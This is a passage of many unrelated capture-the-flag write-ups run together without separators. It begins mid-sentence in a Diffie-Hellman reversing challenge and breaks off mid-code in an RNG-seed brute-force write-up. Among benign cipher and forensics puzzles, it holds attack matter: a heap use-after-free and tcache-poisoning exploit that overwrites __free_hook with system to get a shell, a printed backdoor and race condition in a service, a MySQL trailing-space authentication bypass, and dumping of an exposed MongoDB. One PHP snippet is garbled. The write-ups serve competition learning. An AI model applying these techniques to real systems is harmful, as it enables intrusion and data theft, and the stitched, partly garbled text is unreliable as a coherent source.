exchange succeeded!\n",unaff_DI);….``` If the exchange completes with success _authed and SharedKey will be set to come non zero value. To at least complete the exchange, our parameters p, q, g need to satisfy some conditions: 1. q must be at least 0x200 bits long2. q must divide p - 13. p, q must be prime ```c// function key_exchange@0x00411fc6 …. q_bit_len_ge_200 = __gmpz_sizeinbase(q,2); if (q_bit_len_ge_200 < 0x200) { return 0; } …. p_min_1_mod_q = __gmpz_divisible_p(p_minus_1,q); if (p_min_1_mod_q == 0) { return 0; } …. is_prime = rabin_miller(p); if ((is_prime != 0) && (is_prime = rabin_miller(q), is_prime != 0)) { ``` If all three conditions are satisfied we will be given g^b with b a random value 0x40 bytes long. We will be prompted for g^a and then the server will compute the shared key as g^ab ```c// function key_exchange@0x00412064 BCryptGenRandom((BCRYPT_ALG_HANDLE)0x0,nonce,0x40,2); ….. __gmpz_set_str(b,nonce_hex,0x10); __gmpz_powm(g_to_b,g,b,p); __gmp_sprintf(local_8c4,&DAT_00418b38,g_to_b); thunk_FUN_004124e0("g^b : %s\n",0x3c); thunk_FUN_004124e0("input g^a (in hexadecimal, length <= 1000) :\n",g_to_a); ``` ### Solution So we need to find a way to choose g^a so that g^ab mod p = 0x0102030405060708091011121314151617181920212223242526272829303132 The key insight to solve the challenge is that g^a = b-th root of 0x0102030405060708091011121314151617181920212223242526272829303132 mod p Now the n-th root of a number modulo m is very easy to compute if it exists, after all, it is how RSA decryption works. You need to find a number d so that d*n = 1 mod phi(m), then you can just exponentiate a number to the d-th power to get its n-th root The only thing left to do is to recover b since it is unknown. The key idea is that we know g^b mod p so b is just the discrete logarithm of this value in base g Now the discrete logarithm is actually a very difficult problem to solve in general, but in our case, we can make use of three facts: 1. p can be very large (1000 hex digits)2. b can be small compared to p3. p - 1 can have many divisors So mainly thanks to point 2 and 3 we can use *pohlig hellman* algorithm to solve the discrete logarithm. To do so we repeatedly 1. generate q as a 0x200 bits prime, then we generate several (in my final exploit ~100) small primes 2. check that p = 2 * q * primes + 1 is primeNow that we have the correct p and q we can store them to use in the exploit During the CTF I used```P = 0xa9df7c921bd2b3ba34017a30cc7aa17d22a57fb5f5076797e6485529ba0ae8913c1a4eb533e81c0618ec8ad07406bed05ce7ead5562105804047ec68fa2b50ba27914f07401ed0b4f33069d7ff00acf32605931750f2dd358fc59a6a9a8cafcb05b6b37a110f717319eb936f3e7d8b935503499d754f14d3a80114dd04123bdb36bd79a126326819460967d18a7ba987fa4927113afc935d8089696ddbf5e35a2aff1265982b978db0630b1102854abbde6fd2d616bfaf1c3e087ec81fc5e7feb3bad8716fb59085ce7e191ec790c87020fb53dc44085163a612981d8755Q= 0x15e8976b40fcebcba59bc85604b886744dbccb914611e3b52e0ed4dbb3d38cca9ef62169ce8ce3fed3712eb3245a581a93ae1f61a38d3e41a5549e6c5ce5926829824b22f``` You can try to factor p to see how nice and small its factors are. A successful exchange looks like this ```p (in hexadecimal, length <= 1000) : a9df7c921bd2b3ba34017a30cc7aa17d22a57fb5f5076797e6485529ba0ae8913c1a4eb533e81c0618ec8ad07406bed05ce7ead5562105804047ec68fa2b50ba27914f07401ed0b4f33069d7ff00acf32605931750f2dd358fc59a6a9a8cafcb05b6b37a110f717319eb936f3e7d8b935503499d754f14d3a80114dd04123bdb36bd79a126326819460967d18a7ba987fa4927113afc935d8089696ddbf5e35a2aff1265982b978db0630b1102854abbde6fd2d616bfaf1c3e087ec81fc5e7feb3bad8716fb59085ce7e191ec790c87020fb53dc44085163a612981d8755q (in hexadecimal, length <= 1000) : 15e8976b40fcebcba59bc85604b886744dbccb914611e3b52e0ed4dbb3d38cca9ef62169ce8ce3fed3712eb3245a581a93ae1f61a38d3e41a5549e6c5ce5926829824b22fg (in hexadecimal, 0x2 <= g <= 0x40 ) : 11g^b : 27fb8125b71e4830d06fde55c811077529e410b58dfe884ec6bf23c5b61c9c4bde762ce996ba05162a033810ef67e4922fc18b09ece4e75d3413a12de9f8d3c7f377605f7441500119a149bc0477d816208b3f9d422f6eea68c37475b0e2826e89794139cb3553f5c910366dcd16a6f673e5e2f7f787f9dec05517f62935ce7a5fd52f9b486a9116820c85b36554b695c36fd138d413fe775398ae890af70895b2fad922d75f76becd728af00ffd7ca6cded4e0e2325a578b9ccc89113ec9a904442b1c26ea93794ed810a145c46225c2b74affed832b6d847be5e664524input g^a (in hexadecimal, length <= 1000) :67d8fe777cde8cd0895428c60af3b194d9b958260cd4d5983bc127c4355b22482d2fa1346dde1eb2e1494832797f504d2c00aeabc559c63e60372987df8ce1e885835a0592cac48cf6667b4390f6be9fcf15410e1649212dd3d0cfa8862cf3213d3ee090fd7738ab107d24d4c61c0d7e2a63e266d767f5efc4765ef747ff4cf4f29eee28a77e06f7fd7643ffa62c42b7837f2a0ad8a4487ecdbe40e54e4ec48f4f5852211aa7dd5994a58574c72eca43d2003e6354df5a48eec2ec88467334ec4b68f6199174460ac49790c882aecc68497a5f617326b58e6ebfc4f8f197DH key exchange succeeded!Key : 0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20``` ### Difficulties Reverse engineering cryptographic algorithm can be painful Debugging on windows if you are not used to is very painful Following the organizers' hint could prevent you to solve the challenge At some point before I began to work on the challenge, the organizers posted a hint:"Pseudo prime" In my opinion, this hint is very misleading since one can waste a lot of time trying to make the Rabin Miller prime test fail, but it is not needed to solve the challenge.
![](./brief.png) At the beginning of the challenge, we are provided with a simple web application. ![](./images/start_page.png) Alongside this, we are provided with the source code of the application. On inspection of the source code, it seems SQL Injection isn't an option due to correct preparation of the SQL statements. E.g.```php[...]global $db; $statement = $db->prepare( "SELECT name, description FROM products WHERE name = ?" ); check_errors($statement); $statement->bind_param("s", $name);[...]``` Reading in the source code there is a comment at the start that shows how we can get the flag: ```php/*INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');INSERT INTO products VALUES('messenger', sha256(....), ....);INSERT INTO products VALUES('instagram', sha256(....), ....);INSERT INTO products VALUES('whatsapp', sha256(....), ....);INSERT INTO products VALUES('oculus-rift', sha256(....), ....);*/```We somehow need to reach the description value of the `facebook` element # Exploit The exploitable code is here:```phpfunction handle_post() { global $_POST; $name = $_POST["name"]; $secret = $_POST["secret"]; if (isset($name) && $name !== "" && isset($secret) && $secret !== "") { if (check_name_secret($name, hash('sha256', $secret)) === false) { return "Incorrect name or secret, please try again"; } $product = get_product($name); echo "Product details:"; echo "" . htmlentities($product['name']) . ""; echo "" . htmlentities($product['description']) . ""; } Product details:"; echo " return null;}``` The `check_name_secret` checks that a product exists with the entered `name` and `secret` combo. However, the `get_product` function only returns an element from the database by using the `name` parameter! This means we can add another element called `facebook` with a `secret` we know and get the program to return the first product found with the name `facebook` i.e. the one with the flag! However, trying to do this we get this error: ```Error: Product name already exists, please enter again``` Let's try adding a space? This gives us: ```Product has been added``` Then using the details we submitted, when we view the `facebook` product the flag is returned! ![](./images/flag.png) This is an issue with MySQL. Taking a [quote](https://dev.mysql.com/doc/refman/5.7/en/char.html) from the documentation: ```All MySQL collations are of type PADSPACE. This means that all CHAR, VARCHAR, and TEXT values in MySQL are compared without regard to any trailing spaces. ``` This results in the MySQL statement treating `"facebook "` the same as `"facebook"` etc. FLAG:```fb{4774ck1n9_5q1_w17h0u7_1nj3c710n_15_4m421n9_:)}```
# file-head (125) ## Problem It looks like the PNG file that holds our flag has been corrupted. My computer isn't able to recognize the file type, maybe it has something to do with how the file type is recognized... (Attachments: files/flag.png) ## Solution Looks like a broken magic number problem. We can fix the magic number using a hex editor. I'm going to be using xxd to make a hexdump of the file, edit the hex using vim, and then do a reverse hexdump to get back the original, fixed file. A PNG's magic number is `89 50 4E 47 0D 0A 1A 0A`. Let's see what our broken file's is. ```$ xxd flag.png | head -n 100000000: aaaa aaaa aaaa aaaa 0000 000d 4948 4452 ............IHDR``` Yup, looks like it's missing. Let's first make a hexdump of it. ```$ xxd -p flag.png > flaghex``` Now let's edit the first line using vim to insert the correct magic number. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-BCA/images/file-head-1.png) Now let's do a reverse hexdump. ```$ xxd -r -p flaghex > newflag.png``` And open it up. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-BCA/images/file-head-2.png)
# Satellite```Description: Placing your ship in range of the Osmiums, you begin to receive signals. Hoping that you are not detected, because it's too late now, you figure that it may be worth finding out what these signals mean and what information might be "borrowed" from them. Can you hear me Captain Tim? Floating in your tin can there? Your tin can has a wire to ground control? Find something to do that isn't staring at the Blue Planet.```[file.zip](file.zip) Inside the zip got 2 files: `init_sat` and `README.pdf` First, I open up the pdf file given:![Screenshot](Screenshot.png) Running `file` command to inspect what type of file it is:```# file init_sat init_sat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=YhfyV09rKV_0ewkLiNr1/6ZJO5J8awFQSRgZDzlnA/zvyuoO7Qu3ralSU_Aheb/QK0rATh0jzljJY8j2313, not stripped```It is executable file, lets `chmod +x` and run it!```./init_sat Hello Operator. Ready to connect to a satellite?Enter the name of the satellite to connect to or 'exit' to quit ```We need the satellite name to continue After some guessing, we saw a **red handwritting** on the pdf file: `osmium` and it is the name! ```Hello Operator. Ready to connect to a satellite?Enter the name of the satellite to connect to or 'exit' to quitosmiumEstablishing secure connection to osmium satellite...Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect aUsername: brewtoot password: ******************** 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km² Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E ``` After this, we quickly go to the link above `https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E` And it is just a base64 string: `VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==` Decoding the string become:```python>>> 'VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg=='.decode('base64')'Username: wireshark-rocks\nPassword: start-sniffing!\n'```*Before it is not wireshark-rocks, someone had change the username and password* Then I run `strings` and `ltrace` but found nothing Finally, I run `strace ./init_sat` found something interesting: ```read(3, "Username: brewtoot password: CTF"..., 4096) = 363write(1, "Username: brewtoot password: ***"..., 339Username: brewtoot password: ******************** 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km² Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E```It reads `password: CTF...` but writes `password: ********************` The `CTF...` must be the flag! Running `strace -h` found that using `-s` can control the limit length of print strings So running `strace -s 100 ./init_sat` will reveal the flag:```read(3, "Username: brewtoot password: CTF{4efcc72090af28fd33a2118985541f92e793477f}\t166.00 IS-19 2019/05/09 0"..., 4096) = 363write(1, "Username: brewtoot password: ********************\t166.00 IS-19 2019/05/09 00:00:00\tSwath 640km\tRevis"..., 339Username: brewtoot password: ******************** 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km² Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E``` # Flag> CTF{4efcc72090af28fd33a2118985541f92e793477f}
# Raddest DB There are two bugs we used ## Type confusionWhen a (key,value) is added to a db, the db checks if there exists a value with that key. If this is true, the db only changes the `value` field of the object and leaves the `vtable` field initialized. This leads to a type confusion bugs, giving us 3 primitvies: ```1. Type confusion from `string`->`int`: consider any string pointer as an int, giving us leaks2. Type confusion from `float`->`string`: consider any address as a string, which gives use an arbitrary read primitive``` With these two powerful infoleak bugs, we can get the libc base as well as the heap base. ## Fakeobj???We found a bug that wasn't found via analysis. It occurs if we do the following (One of my teammates found it and I still don't know how it was triggered, but we can make some guesses that it is a UAF) ```cmd("create db") cmd("store db int 1 1337") cmd("getter db 1 2")p.sendline("echo {}".format("A"*0x10+p64(fakeobj_addr).strip("\x00")))p.sendline("empty") cmd("print db")``` I made some speculations about how this happened: 1. Each entry (key,value) is stored as a 0x18 sized structure, which contains the pointer to the object. So in code it is like this:```struct entry { char unknown[0x10]; struct object *obj;}``` ```struct object { funcptr_t *vtable; union value { unsigned long int_form; char *string_form; double float_form; }}``` When we empty a db, the entry structure is free'd and the BUF in echo{BUF} takes that chunk if BUF is of appropriate size. Afterwards the reference is not removed and we have a `fakeobj` primitive, which gives us a single RIP control with no arguments controlled.In code, it is like this: `this->vtable->func1(this, aux);` We have control to the entire `this` structure, so we can control `func1`. I changed `func1` to all one shot gadgets (found using david942j's `one_gadget`) but none of them popped a shell. I decided to expand this primitive to an arbitrary write primitive by changing `func1` to `gets`. Before triggering the vtable function we free the chunk right under where the `this` object is located, turning it into a freed, size 0x20 tcache bin. Overflowing `this` enables us to overwrite a tcache bin, which gives use arbitrary allocation. So, I changed the `fd` field of the next tcache chunk entry to `__free_hook` and got `__free_hook` allocated and wrote `system` to it. I tried some commands that would trigger `free('/bin.sh;'`. (The way was to enter /bin/sh;[LOTS OF SPACES] as the command because when the string is extended to some length its original buffer is freed (property of c++'s std::vector)
# mongo-foo mongo-foo was a tiny cli key-value store written in python, backed by a mongodb.It offered the commands `encrypt`, `decrypt`, `store` and `retrieve`, where `decrypt` was broken and only `store` and `retrieve` were being used. After a successful `store`, you received a random id, which you could supply in `retrieve`. There were no vulnerabilities in the service, only the mongodb was not binding to localhost only. Many teams did not notice, because the vulnbox had an unintended mongodb which was listening on 127.0.0.1 only: ![mongos](mongo.png) Since the host file of the vulnbox had two entries for localhost, one being 127.0.0.1, the other one being a different machine, the service used the mongodb on the different server for some teams. Since our mongo server's ip was one below our vulnbox' ip, we made an educated guess that this was the case for many teams, and started exploiting. Exploiting this vulnerability was trivial - dump the database, decode the flag, submit. Fixing this vulnerability was trivial - restrict connections to the mongodb.
# python-foo python-foo was a tiny cli key-value store written in python, backed by a mongodb. It offered the commands `encrypt`, `decrypt`, `store` and `retrieve`. After a successful store, you received a random id, which you could supply in retrieve. The service's crypto module's source code was not deployed, however throwing its .pyc file into your python decompiler of choice yielded only slightly obfuscated source code. ## Vulnerability 1: Backdoor The crypt module was imported with `from crypto import *`, so all global names from that file were imported. Among the many useless statements, there was```pythonint = iaa``` and ```pythondef iaa(*args, **kwargs): if args: if args[0] == caisheoquaMeeth6wo5waa4Eefaigh(iaa, b'SECRET', 'TOP'): print('so boring!') return -42 else: return o_int(*args, **kwargs) def caisheoquaMeeth6wo5waa4Eefaigh(a: int, b: bytes, c: str) -> str: a = 1 b = bytes([(i + a * i // 10 + 7 ^ o_int(a * 3.1415)) % 10 + 48 for i in range(2, 30)]) c = b.decode() return c``` So in troll.py, `int` returned -42 if the argument was `0985432976321076540985432987`. This caused the `debug` function to leak `RECORDS`, which contained all encrypted values, which you could decrypt with the `decrypt` function.```def debug(op: int): print('operation: ', op) print('Global variables:') print('\n'.join( f'{k}: {v}' for k, v in globals().items() # make sure that we do not leak the key if k.isupper() and k != 'KEY'))```Removing the debug function fixes this issue. ## Vulnerability 2: BadlockSince the storage was backed by a simple file, and socat spawned a python process for every connection (what could **possibly** go wrong on 512MB memory vulnboxes), python-foo had to use custom synchronization to protect the file from concurrent access. The `store_record` and `load_records` had a `@fasteners.interprocess_locked('lock-file')` decorator, which seemingly protects against concurrent access. However, `store_record` called `load_records` multiple times, and the lock was release after the first call to `load_records` finished. The load results were compared, and if they were not equal, `debug` was called:``` RECORDS = load_or_initialize_records() records_2 = load_or_initialize_records() records_3 = load_or_initialize_records() records_4 = load_or_initialize_records() # these aliens are very rude, sometimes. better safe than sorry try: assert RECORDS == records_2 == records_3 == records_4, 'there are aliens' except AssertionError: debug(2) # write operation```To exploit this you had to ensure the race condition occurs, so you threw concurrent `store_record` commands at it until you got the debug output. Removing the debug function fixes this issue.
<h1 align="center">Crypto</h1> <h3>RF - Point: 161</h3> I was walking on rails when suddenly i found this on wooden fence: I3_nase7ncamсo_r1сCt_t4T07_}Fnhs{1 For this task, I use https://www.dcode.fr/chiffre-rail-fence ```Flag: InnoCTF{n0t_ca3sar_7h1s_t1me_7сс4}``` ----------------------------------------------------------------------------------------------------------------------------------- <h3>Bird mail - Point: 415</h3> For this task, I use https://www.geocachingtoolbox.com/index.php?lang=en&page=codeTables&id=birdsOnAWire. ```do not be madyou found answerhere some words fordecoding andflag isonly birds everywhere Flag: InnoCTF{only_birds_everywhere}``` ----------------------------------------------------------------------------------------------------------------------------------- <h3>One hundred times RSA - Point: 484</h3> We had intercepted message(823987601539551928252661654437667295378450335918666145079851234798343062080579451801129289418220555) and modulus(1522605027922533360535618378132637429718068114961380688657908494580122963258952897654000350692006139). Not that we needed all that for the dercrypting, but once you started to break crypto systems, the tendency is to push it as far as you can. For this task, I use http://factordb.com/ and python. ``` python #!/usr/bin/env python import libnumimport gmpy n=1522605027922533360535618378132637429718068114961380688657908494580122963258952897654000350692006139 # P and Q found on http://factordb.com/ p=37975227936943673922808872755445627854565536638199q=40094690950920881030683735292761468389214899724061 c=823987601539551928252661654437667295378450335918666145079851234798343062080579451801129289418220555 phi=(p-1)*(q-1) # We search e for e in range(1,65537): d= gmpy.invert(e,phi) M = pow(c, d, n) if "InnoCTF{" in libnum.n2s(M): print libnum.n2s(M) print e break """InnoCTF{cr4ck_rs4_4g41n_5ca2}53971""" Flag: InnoCTF{cr4ck_rs4_4g41n_5ca2}``` ----------------------------------------------------------------------------------------------------------------------------------- <h3>Librarian skill - Point: 484</h3> For this task, I use a pen. We have 4 files: File 1984.txt: His mind slid away into(5) the labyrinthine world of doublethink(10). To know and not to know, to be conscious of(20) complete truthfulness while telling carefully constructed lies(27), to hold simultaneously two opinions which cancelled out, knowing them to be contradictory(40) and believing in both of them, to use logic against logic, to repudiate(53) morality while laying claim to it, to(60) believe that democracy was impossible and that the Party was the guardian of democracy, to forget(76), whatever it was necessary to forget, then to draw(85) it back into memory(89) again at the moment when it was needed, and then promptly(100) to forget it again(104), and above all, to apply the same process to the process itself that was the ultimate(120) subtlety; consciously to induce unconsciousness, and then, once again, to become unconscious of the act of hypnosis(137) you had just(140) performed. Even to understand the word 'doublethink' involved the use of doublethink(152). File The Catcher in the Rye.txt: I went over to my window and opened it and(10) packed a snowball with my(15) bare hands. The snow was very good for packing. I didn't throw it at anything(30), though. I started to throw it. At a car that was parked across the street. But I changed my mind(50). The car looked so nice(55) and white. Then I started to throw(62) it at a hydrant, but that looked too nice and white(73), too. Finally I didn't throw it at anything. All I did was close the window and walk around(91) the room with the snowball, packing it harder. A little while later, I still had(106) it with me when I and Brossard(113) and Ackley got on the bus. The bus driver opened the doors(125) and made me throw it out. I told him I wasn't going to chuck it at anybody, but he wouldn't believe me(147). People never believe you(151). File Animal Farm.txt: Now, comrades(2), what is the nature of this life of(10) ours? Let us face it: our lives are miserable, laborious, and short. We are born, we are given just so much food as will keep the breath in our bodies(40), and those of us who(45) are capable of it are forced to work to the(55) last atom(57) of our strength; and the very instant that our usefulness has(68) come to an end we are slaughtered(75) with hideous cruelty. No animal in England knows the meaning of happiness or leisure(89) after he is a year(94) old. No animal in England is free. The life of an animal(106) is misery and slavery: that is the plain truth(115). We know that the file cipher.jpg that it's the photo of Jean Lafitteand the cipher is: We deduce that the numbers correspond to the first letter of each word in each paragraph. 1 48 53 53 138 ===> Hurry 13 69 123 2 103 151 ===> slowly 4 6 1 13 26 75 102 ===> inNuwsT ```Flag: InnoCTF{Hurry_slowly_inNuwsT}```
<h1 align="center">Misc</h1> <h3>Prism - Point: 223</h3> Do you have a prism to take a closer look?File: prism.png For this task, I use STEGSOLVE and Qr code reader at https://zxing.org/w/decode.jspx. ----------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------- ```Flag: InnoCTF{N9GntEPyy5mNT3VvjbpCHrtIC4lyls3DL}```
The address 9bca65c9376209ede04b5df3b02cb832f8997ff978069d171dc9cbfca657f91a signed multiple messages using a one-time signature (merkle root: 878c9f44e5284cc3b0bd9ade03e5ad023f323f830b2588756ec5ed84ee124fb4) using this one could calculate the secret key of his, and sign any message. More info: [https://github.com/NicolaiSoeborg/ctf-writeups/tree/master/2019/Facebook%20CTF/postquantumsig](https://github.com/NicolaiSoeborg/ctf-writeups/tree/master/2019/Facebook%20CTF/postquantumsig)
# RecoveryCould you help me recovery my number? File: [recovery.jar](https://mega.nz/#!7OgGlCob!X9ikPVL93_nlsVB3SucyTmEp4MG7PLEmfq6MS2euxfc) Note: The flag is not in flag format, please wrap it in format when you submit. ISITDTU{x, y, z, ...} Update: "Pre-order" ### Initial AnalysisFor this challenge, we were given a jar file, [recovery.jar](https://github.com/zelinsky/CTF-Writeups/blob/master/ISITDTU/Reverse/Recovery/recovery.jar). This is what we see when we run it: ![1](https://raw.githubusercontent.com/zelinsky/CTF-Writeups/master/ISITDTU/Reverse/Recovery/1.png) Let's try entering in some numbers: ![2](https://raw.githubusercontent.com/zelinsky/CTF-Writeups/master/ISITDTU/Reverse/Recovery/2.png) So our goal for this challenge is to enter the correct sequence of numbers, and that will be our flag! ### ToolsI used [JD-GUI](https://github.com/java-decompiler/jd-gui), a java decompiler, to look at the code behind this program. ### DecompilingThe main function: ![3](https://raw.githubusercontent.com/zelinsky/CTF-Writeups/master/ISITDTU/Reverse/Recovery/3.png) Taking a look at the FrmProblem class, we can see what happens when we click the submit button: ![4](https://raw.githubusercontent.com/zelinsky/CTF-Writeups/master/ISITDTU/Reverse/Recovery/4.png) It looks like our input is being checked somehow against the arrays *s* and *l*, and if the function returns true, we have out flag.Let's see what *check()* is doing: ![5](https://raw.githubusercontent.com/zelinsky/CTF-Writeups/master/ISITDTU/Reverse/Recovery/5.png) It's just returning true is the two arrays given are equal. Okay, now let's look at the *getResultA()* and *getResultB()* functions: ![6](https://raw.githubusercontent.com/zelinsky/CTF-Writeups/master/ISITDTU/Reverse/Recovery/6.png) ![7](https://raw.githubusercontent.com/zelinsky/CTF-Writeups/master/ISITDTU/Reverse/Recovery/7.png) These functions are being run on our input. It looks like both functions insert our input into a binary tree. The *getResultA()* function returns the in-order traversal of the tree, and *getResultB()* returns the post-order traversal of the tree. It's clear what we need to do now. We need to give the program a list of numbers to be inserted into a binary tree such that the in-order traversal is equal to the array *s* and the post-order traversal is equal to the array *l*. ### Computing the AnswerI believe that there are actually a few different inputs you can give the program that will give you the correct answer. For example, submitting the reverse of post-order array, *l*, will give you a successful response, however it is not the correct flag. An update to the challenge was posted, and it read "Pre-order". This hints that they're looking specifcally for the pre-order traversal of the tree. After some searching, I stumbled upon an [algorithm](https://www.geeksforgeeks.org/construct-a-binary-tree-from-postorder-and-inorder/) to do exacly this. I [modified it](https://github.com/zelinsky/CTF-Writeups/blob/master/ISITDTU/Reverse/Recovery/script.py) to run on the arrays, *s* (in-order) and *l* (post-order), we were given. ![8](https://raw.githubusercontent.com/zelinsky/CTF-Writeups/master/ISITDTU/Reverse/Recovery/8.png) After formatting it the correct way and submitting it to the java progam: ![9](https://raw.githubusercontent.com/zelinsky/CTF-Writeups/master/ISITDTU/Reverse/Recovery/9.png) Woo, we did it! ### The FlagNow, we just have to wrap it in the flag format:```ISITDTU{509, 278, 9, 201, 101, 61, 11, 48, 38, 33, 35, 40, 44, 89, 85, 106, 180, 135, 110, 159, 150, 200, 188, 241, 214, 253, 269, 268, 275, 358, 356, 327, 285, 301, 301, 381, 363, 476, 471, 428, 399, 396, 413, 449, 434, 445, 462, 497, 496, 492, 481, 634, 628, 540, 520, 526, 534, 589, 621, 599, 613, 621, 623, 965, 658, 652, 650, 653, 946, 877, 708, 679, 665, 691, 836, 764, 716, 711, 722, 752, 756, 827, 808, 771, 773, 786, 807, 826, 842, 867, 856, 875, 922, 889, 879, 892, 951, 993, 980, 996}```
# Call MeFile: [call_me](call_me) Run the file:```# ./call_me There is nothing...Bye!```Running `strings`:```# strings call_me | grep Inno/home/master/Documents/Projects/InnoCTF2019/Ural2018/Call me by my name```Running `readelf -s call_me` saw a function called `flag`:```# readelf -s call_me 66: 00000000000014f3 39 FUNC GLOBAL DEFAULT 13 main67: 0000000000004040 0 OBJECT GLOBAL HIDDEN 23 __TMC_END__68: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable69: 0000000000001159 922 FUNC GLOBAL DEFAULT 13 flag70: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@@GLIBC_2.271: 0000000000001000 0 FUNC GLOBAL HIDDEN 11 _init```The challenge named `Call me` I guess we can call the function After a quick google search, we found gdb can done [this](https://stackoverflow.com/questions/1354731/how-to-evaluate-functions-in-gdb) ```# gdb call_me......pwndbg> break mainBreakpoint 1 at 0x1502: file var 2.c, line 20.pwndbg> runStarting program: /root/Downloads/InnoCTF2019/call_me/call_me Breakpoint 1, main (argc=1, argv=0x7fffffffe188) at var 2.c:20......... ► f 0 555555555502 main+15 f 1 7ffff7e0809b __libc_start_main+235Breakpoint mainpwndbg> call flag() Your flag:InnoCTF{How_d1d_y0u_f1nd_m3_7f1bc88}�$1 = 39``` # Flag> InnoCTF{How_d1d_y0u_f1nd_m3_7f1bc88}
# Use Alphabet! - Category: Crypto- Rating: Hard In this challenge we are given a png that was supposedly sent by a German friend ![ADFDVX](task.png) This is clearly an [ADFGVX cipher](https://en.wikipedia.org/wiki/ADFGVX_cipher), as those are the only letters that show up.The encryption process is in two stages- First, a 6x6 polybius square is used as a simple substitution cipher![Imgur](https://i.imgur.com/b83VO1J.png)- Second, the resulting AGFGVX pairs are put into columns and scrambled using a keyword![Imgur](https://i.imgur.com/MytOhMj.png) Now, if take a look again at the `task.png`, we can eliminate it being related to the polybius square because it's only 6x5. So It's probably meant to be the table from the second stage. i.e. The keyword is 6 letters. Another hint is the name of the challenge `Use Alphabet!`. This obviously refers to the polybius square since it's not the right length to be the keyword. Let's try it. # Solution This is our polybius square for the subtitution: | | A | D | F | G | V | X ||---|---|---|---|---|---|---|| A | A | B | C | D | E | F || D | G | H | I | J | K | L || F | M | N | O | P | Q | R || G | S | T | U | V | W | X || V | Y | Z | 0 | 1 | 2 | 3 || X | 4 | 5 | 6 | 7 | 8 | 9 | ![ADFGVX](task.png) | B | E | I | L | N | R ||---|---|---|---|---|---|| D | R | G | N | | A || N | A | | H | O | C || S | T | | N | 1 | E || 9 | 4 | | | | 4 | And now we can see that the keyword is obviously supposed to be `BERLIN` | B | E | R | L | I | N ||---|---|---|---|---|---|| D | R | A | N | G | || N | A | C | H | | O || S | T | E | N | | 1 || 9 | 4 | 4 | | | | `DRANG NACH OSTEN 1944` # Flag `InnoCTF{drang_nach_osten_1944}`
# Doomed to Repeat It We have a classic game of memory, where you can only see one tile at a time. Once you unveil two identical tiles in succession, they stay face up. The goal is to find all pairs. ![gameplay](https://i.imgur.com/2hGmv4K.gif) The caveat : there are 56 tiles and you can only use 60 moves. Gotta be lucky. ## The source code We have the source code, so let's dive into that. There are a lot of red herrings in comments, but the biggest red flag should bethe custom RNG. after examination, turns out there is a problem with the implementation. ### Bad RNG This function is used to get random bits from the os in order to generate a seed.```// OsRand gets some randomness from the OS.func OsRand() (uint64, error) { // 64 ought to be enough for anybody var res uint64 if err := binary.Read(rand.Reader, binary.LittleEndian, &res;; err != nil { return 0, fmt.Errorf("couldn't read random uint64: %v", err) } // Mix in some of our own pre-generated randomness in case the OS runs low. // See Mining Your Ps and Qs for details. res *= 14496946463017271296 return res, nil}```It gets a 64bit uint from the os, and then multiply it with some "pregenerated randomness" the pre-generated randomnessis quite problematic. It is not random at all. ![xkcd](https://i.imgur.com/uvslFTg.png) (https://xkcd.com/221/) * `14496946463017271296`'s prime factorisation is `2^47 * 103007`. *They are multiplying the os's randomness with 2^47!* * Doing modulo multiplication on your randomness is bad.* Doing it with a very large power of two completely breaks it. #### An example Let's look at one multiplication to see why this is such a problem : random number multiplied by 2^47:``` 8979835648265197673 111110010011110110010001111000111100100001111001001100001101001 * 140737488355328 100000000000000000000000000000000000000000000000 ---------------------------------------------------------------------------------------- 5491154583159832576 100110000110100100000000000000000000000000000000000000000000000``` As we can see, this completely eliminates the 47 least significant bits of the randomly generated number. Instead of having `2^64` possible seed, we now have `2^17` possible seeds (and thus `2^17` possible layouts!) thats 131072, and that's totally manageable. #### Test the theory This is pretty easy to test : if we patch the OsRand function and replace the "pregenerated randomness" with an even bigger power of two : ```func OsRand() (uint64, error) { // 64 ought to be enough for anybody var res uint64 if err := binary.Read(rand.Reader, binary.LittleEndian, &res;; err != nil { return 0, fmt.Errorf("couldn't read random uint64: %v", err) } // Mix in some of our own pre-generated randomness in case the OS runs low. // See Mining Your Ps and Qs for details. res *= 1 << 63 // multiplying by 2^63 should squash 63 of the random number's 64 bits return res, nil}```With this modification, the game only ever generate one of two possible layouts. We're on to something! ## Boards enumeration We already have code that takes care of taking a seed and generating a board layout out of it.Let's keep it simple, and re-use that. We patch the app's source code to have it dump every possible layouts. A small modification to `newBoard()` and the random's library `New()` function should do it. This will generate all possible numbers between that have their 47 least significantbits set to zero, and use each of them as a source of entropy for the seed to generate oneboard. ```func newBoard() (*board, error) { var b *board var i uint64 var upper uint64 upper = 1<<17 // 2 ^ 64 for i= 1; i< upper; i++ { // add a loop over all board var s uint64 s = i << 47 // generate false_seed rand, err := random.New(s) //send that false_seed in the // RNG to be used as the 'os random bits' if err != nil { return 